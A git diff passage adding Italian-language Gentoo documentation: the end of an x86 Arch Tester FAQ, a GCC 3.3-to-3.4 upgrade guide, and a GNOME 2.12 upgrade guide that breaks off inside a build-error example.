+     ce ne sono?</uri>
+  </li>
+  <li>
+    <uri link="#x86at">Cosa significa fare parte del team Arch Tester x86?</uri>
+  </li>
+  <li>
+     <uri link="#atwhat">Cosa devo fare in qualità di AT? Quali sono i miei
+     ruoli/responsabilità?</uri>
+  </li>
+  <li>
+
+   <uri link="#athow">Come posso essere coinvolto con il team e come posso
+   iniziare ad aiutare?</uri>
+  </li>
+
+</ul>
+
+</body>
+</section>
+<section>
+<title>Prepararsi</title>
+<body>
+
+<p>
+Come preparare il proprio sistema per i pacchetti di test.
+</p>
+
+<ul>
+  <li>
+    <uri link="#stchroot">Non utilizzo il ramo stabile x86, la mia box è ~x86.
+    Come posso mettere a punto un chroot x86?</uri>
+  </li>
+  <li>
+     <uri link="#kernelv">Utilizzo un kernel instabile. Potrebbe generare
+     problemi mentre testo i pacchetti?</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Lavorare Lavorare Lavorare!!!</title>
+<body>
+
+<p>
+Cose da fare giorno per giorno.
+</p>
+
+<ul>
+  <li>
+    <uri link="#steptest">Quali sono i passi che devo seguire mentre testo
+    un pacchetto?</uri>
+  </li>
+  <li><uri link="#powers">Di quali superpoteri verrò in possesso in qualità
+  di AT?</uri></li>
+  <li><uri link="#whomct">Chi devo contattare in caso di guai?</uri></li>
+  <li>
+    <uri link="#methct">Quale è la maniera migliore per contattare i
+    mantenitori/sviluppatori?</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Le basi</title>
+<section>
+<body>
+
+<p>
+Questa sezione punta ad essere abbastanza generica e le risposte alle domande
+poste in questa sezione possono essere valide anche per altri tipi di
+architetture in Gentoo.
+</p>
+
+</body>
+</section>
+<section id="whoat">
+<title>Chi è un Arch Tester??</title>
+<body>
+
+<p>
+Un Arch Tester (comunemente riferito con "AT") è un utente fidato e capace di
+testare un'applicazione per determinare la sua stabilità. Per diventare un AT
+occorre essere in grado di testare una grande varietà di pacchetti e capire
+nonché modificare ebuild.
+</p>
+
+</body>
+</section>
+<section id="whyat">
+<title>Perché Gentoo ha bisogno di Arch Testers?</title>
+<body>
+
+<p>
+Gli Arch Testers sono necessari per aumentare la qualità promessa (Quality
+Assurance, QA), e per aiutare gli Arch Devs ad assicurare che i pacchetti siano
+realmente stabili attraverso l' analisi dei pacchetti stessi da parte di terze
+parti che riferiranno circa i loro risultati. Visto che l'albero (dei sorgenti
+N.d.T) è molto ampio sono necessarie molte persone per controllare attivamente
+le cose che non vanno e per aiutare a sistemarle.
+</p>
+
+</body>
+</section>
+<section id="basicsk">
+<title>Quali sono le conoscenze di base necessarie per diventare un AT?</title>
+<body>
+
+<p>
+Bisogna essere in grado di modificare ebuild e di trovare errori che devono
+essere corretti prima che il pacchetto sia marcato stabile. Ci si aspetta anche
+che si abbia la possibilità di testare pacchetti fornendo dei buoni bug report
+in caso di problemi con qualche cosa. Ciò significa che bisogna avere una certa
+confidenza con lo scripting bash così pure in specifiche aree di Gentoo come ad
+esempio Portage.
+</p>
+
+</body>
+</section>
+<section id="basicsys">
+<title>Quali sono i requisiti minimi di sistema, se ce ne sono?</title>
+<body>
+
+<p>
+È necessario un sistema o un chroot che faccia solo uso di pacchetti "x86".
+Questo perché cosi facendo vengono usate librerie realmente stabili per testare
+i pacchetti ed è possibile cercare bug anche nei pacchetti già marcati stabili.
+In alternativa è possibile eseguire Gentoo in una macchina dedicata solo al
+testing o in una macchina virtuale. Programmi adeguati per quest'ultima opzione
+sono VirtualBox, VMWare o QEmu/KVM, sebbene il suo uso per lavori
+sull'architettura sia discoraggiato perchè non viene eseguito sull'attuale
+hardware.
+</p>
+
+<p>
+Inoltre si dovrebbe impostare <c>FEATURES="test collision-protect"</c> per
+individuare i fallimenti dei test e le collisioni nei file tra pacchetti.
+Alcuni pacchetti non rispettano i valori di LDFLAGS e CFLAGS/CXXFLAGS durante
+la compilazione, e ciò potrebbe portare ad un loro malfunzionamento. Pertanto
+bisognerebbe almeno impostare <c>LDFLAGS="${LDFLAGS} -Wl,--hash-style=gnu"</c>,
+in modo da far visualizzare a Portage un avvertimento riguardo a ciò.
+</p>
+
+</body>
+</section>
+<section id="x86at">
+<title>Cosa significa fare parte del team Arch Tester x86?</title>
+<body>
+
+<p>
+Iniziare a far parte del team Arch Tester x86 significa essere pronti a dedicare
+un po' di tempo ad aiutare Gentoo/x86. Significa anche essere interessati ad
+aiutare il test di applicazioni che necessitano di essere dichiarate stabili.
+</p>
+
+</body>
+</section>
+<section id="atwhat">
+<title>Cosa devo fare in qualità di AT? Quali sono i miei
+ruoli/responsabilità?</title>
+<body>
+
+<p>
+Bisogna aiutare gli sviluppatori dell'architettura nel testare i pacchetti.
+Effettuare il test dei pacchetti richiede molto di più che il semplice fatto che
+essi compilino. Ci si aspetta che venga verificata la corretta funzionalità
+almeno delle principali funzioni dell'applicazione. Quando si testa un pacchetto
+è bene assicurarsi di avere abilitato <c>FEATURES="test collision-protect"</c>.
+Un qualsiasi pacchetto che fallisca nell'emerge con questa feature impostata
+diventa un obiettivo principale per la QA e non possiamo continuare fino a
+quando non si risolve.
+</p>
+
+</body>
+</section>
+<section id="athow">
+<title>Come posso essere coinvolto con il team e come posso iniziare ad
+aiutare?</title>
+<body>
+
+<p>
+Per prima cosa si dovrebbero leggere queste FAQ nella loro interezza in maniera
+tale che si abbia ben chiaro cosa significhi attualmente essere AT.
+Successivamente si dovrebbe visitare irc.freenode.net ed accedere a #gentoo-x86.
+Spesso gli Sviluppatori chiedono aiuto nel testare un pacchetto e si potrà
+provare a dare una mano dove possibile.
+</p>
+
+<p>
+La maniera principale per iniziare a dare una mano è guardare ai nostri bug.
+Di seguito sono riportati un po' di link per i propri bookmark contenenti dei
+salvataggi di ricerche su bugzilla.
+</p>
+
+<ul>
+ <li>
+    <uri link="http://tinyurl.com/obcta">Tutti i bug relativi a x86</uri>
+ </li>
+ <li>
+    <uri link="http://tinyurl.com/cpdjk">Bug relativi alla Sicurezza per
+    x86</uri>
+ </li>
+</ul>
+
+<p>
+Alla fine dopo che avrete dimostrato un buon livello di impegno e se riteniamo
+che siate una buona aggiunta per il team vi verrà dato l'<uri
+link="http://www.gentoo.org/proj/en/devrel/quiz/ebuild-quiz.txt">ebuild
+quiz</uri > e successivamente per un periodo di 30 giorni verrete seguiti da un
+mentore.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Prepariamoci</title>
+<section>
+<body>
+
+<p>
+Questa sezione tratta di domande comuni del tipo "come configurare..." per
+guidarci nella preparazione del nostro sistema e per consentirci di svolgere
+il lavoro di AT :)
+</p>
+
+</body>
+</section>
+<section id="stchroot">
+<title>Sulla mia macchina non girano pacchetti stabili, è una "~x86".
+Come posso configurare un chroot x86?</title>
+<body>
+
+<p>
+Per maggiori informazioni su come settare un ambiente chroot consultare la
+<uri link="/proj/en/base/x86/chroot.xml">Chroot Guide</uri> (in inglese, N.d.T.)
+</p>
+
+</body>
+</section>
+<section id="kernelv">
+<title>Sto utilizzando un kernel instabile. Potrebbe generare problemi durante
+il test dei pacchetti?</title>
+<body>
+
+<p>
+Sarebbe opportuno usare un kernel stabile al di fuori del chroot, ma questo non
+è un requisito essenziale.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Lavorare Lavorare Lavorare!!!</title>
+<section>
+<body>
+
+<p>
+Domande su come organizzare il vostro lavoro su base giornaliera trovano
+risposta in questa sezione.
+</p>
+
+</body>
+</section>
+<section id="steptest">
+<title>Quali sono i passi che devo seguire mentre testo un pacchetto?</title>
+<body>
+
+<ol>
+  <li>Assicurarsi che tutti i pacchetti nel sistema/chroot siano stabili.</li>
+  <li>
+    Impostare <c>FEATURES="collision-protect"</c> in
+    <path>/etc/make.conf</path> e usare un insieme di <c>CFLAGS</c> "sano",
+    come descritto in <uri
+    link="http://www.gentoo.org/doc/it/gcc-optimization.xml">Guida
+    all'Ottimizzazione della Compilazione</uri>.
+  </li>
+  <li>
+    Scegliere una richiesta dalla lista dei bug citata in precedenza, dove bug
+    di sicurezza e richieste di keywording hanno la priorità assoluta.
+  </li>
+  <li>
+    Normalmente, tutti i pacchetti necessari sono elencati nella richiesta, ma a
+    volte, le dipendenze vengono dimenticate. Solitamente non crea problemi, ma
+    dovreste tuttavia includerle nel report. Per aggiungere automaticamente
+    tutti i pacchetti necessari nel file <c>package.keywords</c>, può essere
+    utile <uri link="http://packages.gentoo.org/package/app-portage/gatt">
+    app-portage/gatt</uri>.
+   </li>
+   <li>
+     Dopo aver compilato il pacchetto con varie combinazioni di USE flag,
+     eseguirlo ed assicurarsi che le funzionalità di base funzionino. Se il
+     pacchetto è una libreria, emergere un paio di pacchetti che usano quella
+     libreria per assicurarsi che funzionino ancora con le nuove versioni
+     (opzione migliore: tutti quelli che dipendono da essa e hanno una versione
+     stabile). Le così chiamate "dipendenze inverse" si trovano in <uri
+     link="http://tinderbox.dev.gentoo.org/misc/dindex/">dindex</uri>.
+   </li>
+   <li>
+     Informare il team riguardo i test avvenuti con successo o gli errori
+     che si sono verificati sul bug report corrispondente includendo
+     cosa è stato fatto e su quale piattaforma. In caso di problemi,
+     aggiungere anche l'output di <c>emerge --info</c>.
+  </li>
+  <li>
+    I problemi che si verificano con la versione attualmente stabile,
+    non saranno un ostacolo per la stabilizzazione, ma vanno comunque
+    segnalati.
+  </li>
+</ol>
+
+<p>Alcuni utili suggerimenti:</p>
+
+<ul>
+  <li>
+    I tester di architettura non testano solo pacchetti, ma cercano attivamente
+    le soluzioni dove si sono verificati dei problemi. Le fonti importanti di
+    informazione sono i sistemi di controllo di versione e i bug tracker di
+    altre distribuzioni, nonché l'upstream. Segnalare bug agli autori è
+    importante quasi quanto testare pacchetti!
+  </li>
+  <li>
+    Impostare un utente di osservazione in <uri
+    link="http://bugs.gentoo.org/userprefs.cgi?tab=email">preferences</uri> per
+    l'alias di x86@gentoo.org. In questo modo riceverete tutte le email da
+    Bugzilla dirette al team x86.
+  </li>
+</ul>
+
+</body>
+</section>
+<section id="powers">
+<title>Di quali superpoteri verrò in possesso in qualità di AT?</title>
+<body>
+
+<p>
+Hah. Stavate scherzando quando avete posto questo domanda? Gli AT sono gli
+schiavi che fanno tutto il lavoro e non hanno poteri ne libertà.......okay,
+Stavo scherzando :)
+</p>
+
+<p>
+Cose a cui si ha accesso in qualità di AT:
+</p>
+
+<ul>
+  <li>
+    Elevati privilegi in  <uri link="http://bugs.gentoo.org">Gentoo
+    Bugzilla</uri> in maniera tale che si possa modificare tutti gli aspetti di
+    un bug. Questo è consentito principalmente affinché si possa essere in grado
+    di ri-assegnare bugs in caso di necessità e coordinarsi con i mantenitori
+    dei pacchetti, con altri arch team ecc.
+  </li>
+  <li>
+    Accesso in sola lettura al repository cvs di gentoo-x86, che non è un
+    privilegio, ma potrebbe tornare utile per gli AT.  Vedere <uri
+    link="http://sources.gentoo.org/">ViewCVS</uri> per un URL di checkout per
+    l'accesso anonimo.
+  </li>
+</ul>
+
+<p>
+Cose a cui non si ha acceso in qualità di AT:
+</p>
+
+<ul>
+  <li>
+    Fare il commit di correzioni per gli ebuild. È necessario trovare il
+    mantenitore o un altro sviluppatore con l'accesso che faccia questo per voi.
+  </li>
+</ul>
+
+</body>
+</section>
+<section id="whomct">
+<title>Chi devo contattare in caso di guai?</title>
+<body>
+
+<p>
+Se notate dei grossi problemi nell'albero, prima di tutto tentate di
+contattare la persona che ha causato tali problemi. Questa può essere di
+norma cercata nel <path>ChangeLog</path>, ma se non è cosi si può usare <uri
+link="http://sources.gentoo.org/">ViewCVS</uri> per vedere chi ha fatto il
+commit dei cambiamenti. Se non risulta possibile contattare questa persona è
+bene provare con il singolo mantenitore o con il gruppo incaricato della
+manutenzione del pacchetto (se il mantenitore non è la stessa persona che ha
+causato il problema). Se tutto questo non bastasse bisogna informare della
+situazione uno sviluppatore x86 cosi che possa gestirla al meglio fino a quando
+non ci sarà qualcuno disponibile per gestirla in maniera adeguata.
+</p>
+
+</body>
+</section>
+<section id="methct">
+<title>Quale è la maniera migliore per contattare i
+mantenitori/sviluppatori?</title>
+<body>
+
+<p>
+Normalmente la maniera più semplice per contattare uno sviluppatore è "pingarlo"
+su IRC. Se non è in giro su IRC, gli si può spedire una mail. Se si è
+impossibilitati a contattare il particolare sviluppatore, si cerchi di
+contattare qualcun'altro nel gruppo (se possibile). Se non c'è nessun gruppo da
+contattare allora bisogna contattare qualcuno nel team x86 per capire come
+proseguire. Inoltre, a meno che il problema sia grave, date loro il tempo
+sufficiente a rispondervi via mail. Controllare <uri
+link="http://dev.gentoo.org/devaway/">devaway</uri> per essere sicuri che la
+persona che si sta cercando di contattare non sia assente.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/it/base/x86/gcc-upgrading-guide.xml b/xml/htdocs/proj/it/base/x86/gcc-upgrading-guide.xml
new file mode 100644
index 00000000..62ca76fb
--- /dev/null
+++ b/xml/htdocs/proj/it/base/x86/gcc-upgrading-guide.xml
@@ -0,0 +1,261 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/base/x86/gcc-upgrading-guide.xml,v 1.2 2005/12/08 16:51:21 so Exp $ -->
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/it/base/x86/gcc-upgrade-guide.xml" lang="it">
+<title>Guida all'aggiornamento di GCC per Gentoo</title>
+
+	<author title="Autore">
+<mail link="amne@gentoo.org">Wernfried Haas</mail>
+</author>
+
+	<author title="Autore">
+<mail link="wolf31o2@gentoo.org">Chris Gianelloni</mail>
+</author>
+
+	<author title="Traduzione">
+  <mail link="richard77@libero.it">Federico Della Ricca</mail>
+</author>
+
+<abstract>
+Questo documento è di aiuto per gli utenti nell'aggiornamento di GCC sotto
+Gentoo Linux.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.1</version>
+<date>2005-12-03</date>
+
+<chapter>
+<title>Introduzione</title>
+<section>
+<body>
+
+<p>
+Questa guida spiega il passaggio dal GCC 3.3 al GCC 3.4, anche se i concetti
+esposti si applicano a qualsiasi aggiornamento del GCC.
+</p>
+
+<p>
+L'istallazione del gcc 3.4.4 non ha di per sé alcun impatto sul sistema.
+Bisogna sceglierlo manualmente, quindi ci si assicuri di avere tempo
+disponibile e di essere preparati per questo compito. Ci sono due metodi per
+effettuare l'aggiornamento. Il primo metodo è più veloce, ma potrebbe non
+aggiornare tutti i pacchetti necessari, mentre il secondo è più approfondito
+e implica la compilazione dell'intero sistema.
+</p>
+
+<note>
+Prime di procedere con uno dei due metodi, si disabiliti distcc se lo si ha
+abilitato. Se alcuni nodi del distcc non avessero gcc 3.4 installato, si
+verificherebbero problemi nella compilazione.
+</note>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Utilizzo di revdep-rebuild (metodo più veloce)</title>
+<section>
+<body>
+
+<p>
+Questo metodo richiede che sul sistema si installi (se non già presente)
+<c>gentoolkit</c>, per poi procedere con l'aggiornamento del GCC e il
+passaggio al nuovo compilatore.
+</p>
+
+<pre caption="Installazione di gentoolkit e aggiornamento del GCC">
+# <i>emerge -an gentoolkit</i>
+# <i>emerge -uav gcc</i>
+# <i>gcc-config i686-pc-linux-gnu-3.4.4</i>
+# <i>source /etc/profile</i>
+</pre>
+
+<note>
+Questo esempio suppone che si abbia "i686-pc-linux-gnu" come valore della
+variabile CHOST (in /etc/make.conf). In caso contrario, si cambi l'argomento
+del comando gcc-config.
+</note>
+
+<warn>
+Non si imposti alcun CFLAG specifico per GCC 3.4 (come per esempio
+-march=pentium-m). Farlo potrebbe causare il fallimento della compilazione.
+Si potranno impostare queste CFLAG dopo aver disinstallato gcc-3.3, che non
+le riconoscerebbe.	
+</warn>
+
+<p>
+A questo punto si genera la lista dei pacchetti che revdep-rebuild prevede di
+ricompilare. Poi si usa revdep-rebuild per ricompilarli. Si presti attenzione
+al fatto che questa fase può richiedere diverso tempo.
+</p>
+
+<pre caption="Utilizzo di revdep-rebuild">
+# <i>revdep-rebuild --library libstdc++.so.5 -- -pv</i>
+# <i>revdep-rebuild --library libstdc++.so.5</i>
+</pre>
+
+<p>
+E' possibile che si possano verificare dei problemi con delle versioni non
+esistenti di pacchetti, perché obsolete o mascherate (masked). In questo caso
+si può usare revdep-rebuild con l'opzione -X, per far si che i pacchetti
+siano ricompilati sulla base solo del nome del pacchetto, piuttosto che sulla
+combinazione esatta del nome del pacchetto e sua versione.		
+</p>
+
+<pre caption="Utilizzo di revdep-rebuild con -X">
+# <i>revdep-rebuild -X --library libstdc++.so.5 -- -pv</i>
+# <i>revdep-rebuild -X --library libstdc++.so.5</i>
+</pre>
+
+<p>
+Per ottenere la compatibilità con applicazioni C++ binarie ed eventuali
+pacchetti che potrebbero non essere stati aggiornati da revdep-rebuild,
+bisogna installare <c>sys-libs/libstdc++-v3</c> prima di rimuovere GCC 3.3
+dal sistema.
+</p>
+
+<pre caption="Installazione di libstdc++-v3 e rimozione di GCC 3.3">
+# <i>emerge -1 sys-libs/libstdc++-v3</i>
+# <i>emerge -aC =sys-devel/gcc-3.3*</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Utilizzo di emerge -e (metodo più sicuro)</title>
+<section>
+<body>
+
+<p>
+Questo metodo, benché molto più lento, effettua la (ri)compilazione
+dell'intero sistema, per essere sicuri che tutti i pacchetti siano
+ricompilati con il nuovo compilatore. Per prima cosa, si aggiorni il GCC e si
+effettui il passaggio al nuovo compilatore.			
+</p>
+
+<pre caption="Aggiornamento di GCC">
+# <i>emerge -uav gcc</i>
+# <i>gcc-config i686-pc-linux-gnu-3.4.4</i>
+# <i>source /etc/profile</i>
+</pre>
+
+<note>
+Nota: Questo esempio suppone che si abbia "i686-pc-linux-gnu" come valore
+della variabile CHOST (in /etc/make.conf). In caso contrario, si cambi
+l'argomento del comando gcc-config.
+</note>
+
+<warn>
+Attenzione: Non si imposti alcun CFLAG specifico per GCC 3.4 (come per
+esempio -march=pentium-m). Farlo potrebbe causare il fallimento della
+compilazione. Si potranno impostare queste CFLAG dopo aver disinstallato
+gcc-3.3, che non le riconoscerebbe.	
+</warn>
+
+<p>
+Per ottenere la compatibilità con applicazioni C++ binarie, bisogna
+installare <c>sys-libs/libstdc++-v3</c>.
+</p>
+
+<pre caption="Installazione di libstdc++-v3">
+# <i>emerge -1 sys-libs/libstdc++-v3</i>
+</pre>
+
+<p>
+Ora si proceda a ricompilare per primo l'insieme di pacchetti (profilo)
+system, poi il profilo world. Questa fase richiede molto tempo, a seconda del
+numero di pacchetti installati, in quanto ricompila il sistema di base
+(toolchain) e poi tutti i pacchetti installati (compresa la toolchain).
+Questo è necessario per assicurarsi che tutti i pacchetti siano stati
+compilati la nuova toolchain, compresa la toolchain stessa.			
+</p>
+
+<pre caption="Ricompilazione di system e world">
+# <i>emerge -e system</i>
+# <i>emerge -e world</i>
+</pre>
+
+<p>
+Si possono anche rimuovere in sicurezza le vecchie versioni del GCC.
+</p>
+
+<pre caption="Rimozione delle vecchie versioni del GCC">
+# <i>emerge -aC =sys-devel/gcc-3.3*</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Suggerimenti e problemi</title>
+<section>
+<body>
+
+<ul>
+  <li>
+		Se si ricompilano moduli del kernel (come per esempio
+		app-emulation/qemu-softmmu) con GCC 3.4, non funzioneranno più con il
+		vecchio kernel. Ricompilare il kernel con GCC 3.4 risolve il problema.
+  </li>
+  <li>
+		Se revdep-rebuild sembra voler ricompilare pacchetti già ricompilati, si
+		continui. I pacchetti dovrebbero funzionare lo stesso.
+	</li>
+  <li>
+		Se un pacchetto non si compila durante l'esecuzione del comando emerge -e
+		system/world, si può riprendere l'operazione con <c>emerge --resume</c>
+		Se un pacchetto fallisce ripetutamente, si piò passare al successivo con
+		<c>emerge --resume --skipfirst</c>. Non eseguire altre instanze di emerge
+		nel frattempo o si perderanno le informazioni necessarie per poter
+		riprendere la ricompilazione.
+	</li>
+  <li>
+		Se si verifica l'errore: libtool: link:
+		`/usr/lib/gcc-lib/i686-pc-linux-gnu/3.3.6/libstdc++.la' is not a valid
+		libtool archive, si esegua il comando <c>/sbin/fix_libtool_files.sh
+		3.3.6</c>.
+  </li>
+  <li>
+		Se il file <c>/sbin/fix_libtool_files.sh</c>è stato rimosso durante la
+		rimozione di GCC 3.3, bisogna reinstallare il GCC. Questo solitamente
+		avviene se si utilizza il metodo <c>emerge -e system</c> e GCC 3.3 viene
+		compilato dopo GCC 3.4. Se si vuole evitare di reinstallare il GCC, si
+		provi a ripristinare <c>/lib/rcscripts/awk/fixlafiles.awk</c> e
+		<c>/sbin/fix_libtool_files.sh</c> da
+		<c>/usr/portage/sys-devel/gcc/files</c> e
+		<c>/usr/portage/sys-devel/gcc/files/awk</c>.  Questo però implica che
+		questi file non sono indicizzati nel database di portage e le prossime
+		installazioni di pacchetti potrebbero fallire se si utilizza
+		FEATURES=collision-protect.				
+  </li>
+  <li>
+		Se si verifica l'errore: /usr/bin/gcc-config: line 632:
+		/etc/env.d/gcc/i686-pc-linux-gnu-3.3.5: No such file or directory, si
+		provi a cancellare <c>/etc/env.d/gcc/config-i686-pc-linux-gnu</c> e si
+		riesegua <c>gcc-config</c>, seguito da <c>source /etc/profile</c>. E'
+		possibile farlo solo se non sono stati impostati dei compilatori per
+		altri sistemi (cross-compilers).
+  </li>
+</ul>
+
+<p>
+Discussioni su questo tema si trovano sia sul forum <uri
+link="http://forums.gentoo.org/viewtopic-t-407840.html">internazionale</uri>
+che <uri
+link="http://forums.gentoo.org/viewtopic-t-407725.html">italiano</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/it/desktop/gnome/howtos/gnome-2.12-upgrade.xml b/xml/htdocs/proj/it/desktop/gnome/howtos/gnome-2.12-upgrade.xml
new file mode 100644
index 00000000..79edff30
--- /dev/null
+++ b/xml/htdocs/proj/it/desktop/gnome/howtos/gnome-2.12-upgrade.xml
@@ -0,0 +1,349 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+ <!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/desktop/gnome/howtos/gnome-2.12-upgrade.xml,v 1.2 2006/05/18 21:45:39 so Exp $ -->
+
+
+<guide link="/proj/it/desktop/gnome/howtos/gnome-2.12-upgrade.xml">
+
+<title>Guida per l'aggiornamento a Gnome 2.12</title>
+<author title="Autore">
+  <mail link="allanonjl@gentoo.org">John N. Laliberte</mail>
+</author>
+
+<author title="Traduttore">
+  <mail link="nsr2@tiscali.it">Paolo Palana</mail>
+</author>
+
+
+<abstract>
+Questa guida illustra la maniera raccomandata per aggiornare la propria
+versione di GNOME a GNOME 2.12. Si assumerà che GNOME 2.12 faccia parte del
+ramo STABILE. GNOME 2.12 dovrebbe essere marcato stabile su tutte le
+architetture molto presto.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.3</version>
+<date>2006-01-21</date>
+
+<chapter>
+<title>Prima di cominciare.</title>
+
+<section>
+<title>Preparare l'ambiente.</title>
+<body>
+
+<p>
+Assicuriamoci di aver aggiunto hal, dbus e cairo alle nostre use flags. Se
+abbiamo intenzione di usare evolution-exchange bisognerà aggiungere anche
+kerberos e ldap.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Aggiornare Python.</title>
+<body>
+
+<p>
+Assicuriamoci di usare python 2.4. Se si è fermi alla versione 2.3 allora
+bisognerà procedere all'aggiornamento alla versione 2.4. Se non avete eseguito
+python-updater dopo la transizione a 2.4 è il caso di eseguirlo ora.
+</p>
+
+<pre caption="Aggiornare python">
+# <i>emerge -av python</i>
+# <i>python-updater</i>
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>Alcune altre cose da controllare.</title>
+<body>
+
+<warn>
+Se abbiamo installato gnome-doc-utils bisogna fare il re-emerge.
+(ora dovreste avere la versione >= versione 0.4.1)
+</warn>
+
+</body>
+</section>
+
+<section>
+<body>
+
+<impo>Si vuole che l'automount delle penne USB e altre cose funzionino
+correttamente? Guardate "Che cosa fare ora?" in questa guida.
+</impo>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Aggiornare a 2.12</title>
+<section>
+<body>
+
+<p>
+Questa è la parte più divertente :)  Aggiornare GNOME 2.12.
+</p>
+
+<pre caption="Aggiornamento a GNOME 2.12">
+# <i>emerge -av gnome</i>
+</pre>
+
+<p>
+In alternativa, se non vi piacciono le cose pesanti:
+</p>
+
+<pre caption="Aggiornamento a GNOME 2.12 lite">
+# <i>emerge -av gnome-light</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Eseguire alcuni revdep-rebuild</title>
+<section>
+<body>
+
+<p>
+Controlliamo se è necessario eseguire revdep-rebuild facendo:
+</p>
+
+<pre caption="Esecuzione di revdep-rebuild">
+# <i>revdep-rebuild -p</i>
+</pre>
+
+<p>
+E' possibile capire se è necessario eseguire revdep-rebuild perchè potrebbero
+essere elencati alcuni pacchetti. Per eseguirlo è sufficiente rimuovere il
+flag "-p".
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Che cosa fare ora?</title>
+<section>
+<body>
+
+<p>
+Aggiungere Il proprio utente al gruppo plugdev
+</p>
+
+<p>
+Adesso usciamo dalla sessione corrente di GNOME e riavviamolo!
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Volete che le cose si montino automaticamente quando le inserite?</title>
+<body>
+
+<p>
+Assicuratevi di aver aggiunto i flag use hal e dbus realmente.
+</p>
+
+<p>
+Dovreste anche aggiungere il vostro utente al gruppo plugdev dopo che il gruppo
+sia stato creato dall'ebuild pmount. Altrimenti l'automounting non funzionerà.
+Dopo aver aggiunto il proprio utente al gruppo plugdev sarà probabilmente
+necessario riavviare la propria sessione.
+Si può controllare se già si è nel gruppo plugdev digitando id in un terminale.
+</p>
+
+<p>
+E' suggerito l'uso di gamin al posto di fam. Per usare gamin, bisogna abilitare
+il supporto inotify nel kernel. Gamin supporta inotify, dnotify e file-polling
+Se si hanno problemi con gamin è comunque possibile utilizzare fam.
+</p>
+
+<note>
+Se se ne vuole sapere di più sulla configurazione di gamin consultare
+<uri>http://www.gnome.org/~veillard/gamin/config.html</uri>
+</note>
+
+<impo>
+Gamin non ha un initscript, quindi non bisogna aggiungerlo ad alcun runlevel.
+</impo>
+
+<p>
+L'opzione inotify è in "File systems -> Inotify file change notification
+support".
+</p>
+
+<p>
+Se si sceglie di usare gamin e in precedenza si usava fam è necessario
+seguire la seguente procedura:
+</p>
+
+<pre caption="">
+# <i>rc-update del famd</i>
+# <i>emerge unmerge fam</i>
+# <i>emerge -av gamin</i>
+</pre>
+
+<p>
+Successivamente bisognerà aggiornare la propria macchina ricompilando il tutto
+con le nuove useflags usando --newuse. Un modo per fare ciò è
+<c>emerge -uDav --newuse world</c>.
+</p>
+
+<pre caption="Aggiornamento con le nuove useflags">
+# <i>emerge -uDav --newuse world</i>
+</pre>
+
+<p>
+Adesso bisogna avviare dbus e hal. E' necessario avviarli ogni volta che si
+riavvia il proprio computer.
+</p>
+
+<pre caption="dbus, hal, gamin">
+# <i>rc-update add hald default</i>
+# <i>/etc/init.d/hald start</i>
+</pre>
+
+<p>
+Non ci si dimentichi di aggiungere il proprio utente al gruppo plugdev in
+<path>/etc/group</path>.
+</p>
+
+<p>
+Adesso si dovrebbe essere in grado di avviare <c>gnome-volume-manager</c> dalla
+linea di comando e inserendo una penna USB si noterà che aviene l'automount e
+che un'icona appare sul proprio desktop :)
+</p>
+
+<p>
+Se si vuole cambiare il comportamento di gnome-volume-manager si avvii 
+<c>gnome-volume-properties</c> da linea di comando. Questo dovrebbe avviare
+gnome-volume-manager se già non è avviato.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Problemi comuni di compilazione</title>
+<section>
+<title>Qualcun'altro ha avuto problemi simili?</title>
+<body>
+
+<p>
+Primo, il proprio errore è simile a qualcuno dei seguenti?
+</p>
+ 
+<pre caption="Errori">
+ make[2]: Entering directory
+ `/var/tmp/portage/gnome-desktop-2.11.90/work/gnome-desktop-2.11.90/desktop-docs'
+ Making all in fdl
+ C/fdl.xml:603: parser error : Entity 'copy' not defined
+         Copyright copy; YEAR YOUR NAME.
+	                         ^
+make[3]: Entering directory
+`/var/tmp/portage/gnome-desktop-2.11.90/work/gnome-desktop-2.11.90/desktop-docs/fdl'
+xsltproc -o fdl-C.omf --stringparam db2omf.basename fdl --stringparam
+db2omf.format 'docbook' --stringparam db2omf.dtd "-//OASIS//DTD DocBook XML
+V4.1.2//EN" --stringparam db2omf.lang C --stringparam db2omf.omf_dir
+"/usr/share/omf" --stringparam db2omf.help_dir "/usr/share/gnome/help"
+--stringparam db2omf.omf_in "`pwd`/./fdl.omf.in" `/usr/bin/pkg-config --variable
+db2omf gnome-doc-utils` C/fdl.xml
+compilation error: file C/fdl.xml line 15 element article
+xsltParseStylesheetProcess : document is not a stylesheet
+make[3]: *** [fdl-C.omf] Error 5
+make[2]: *** [all-recursive] Error 1
+make[1]: *** [all-recursive] Error 1
+make: *** [all] Error 2
+</pre>
+
+<note> Controllate su <uri>http://bugs.gentoo.org/103322</uri> Se avete di
+questi problemi.
+</note>
+
+<note>
+In breve è necessario fare il re-emerge di  gnome-doc-utils come detto
+in precedenza.
+</note>
+
+<pre caption="Altri errori">
+Traceback (most recent call last):
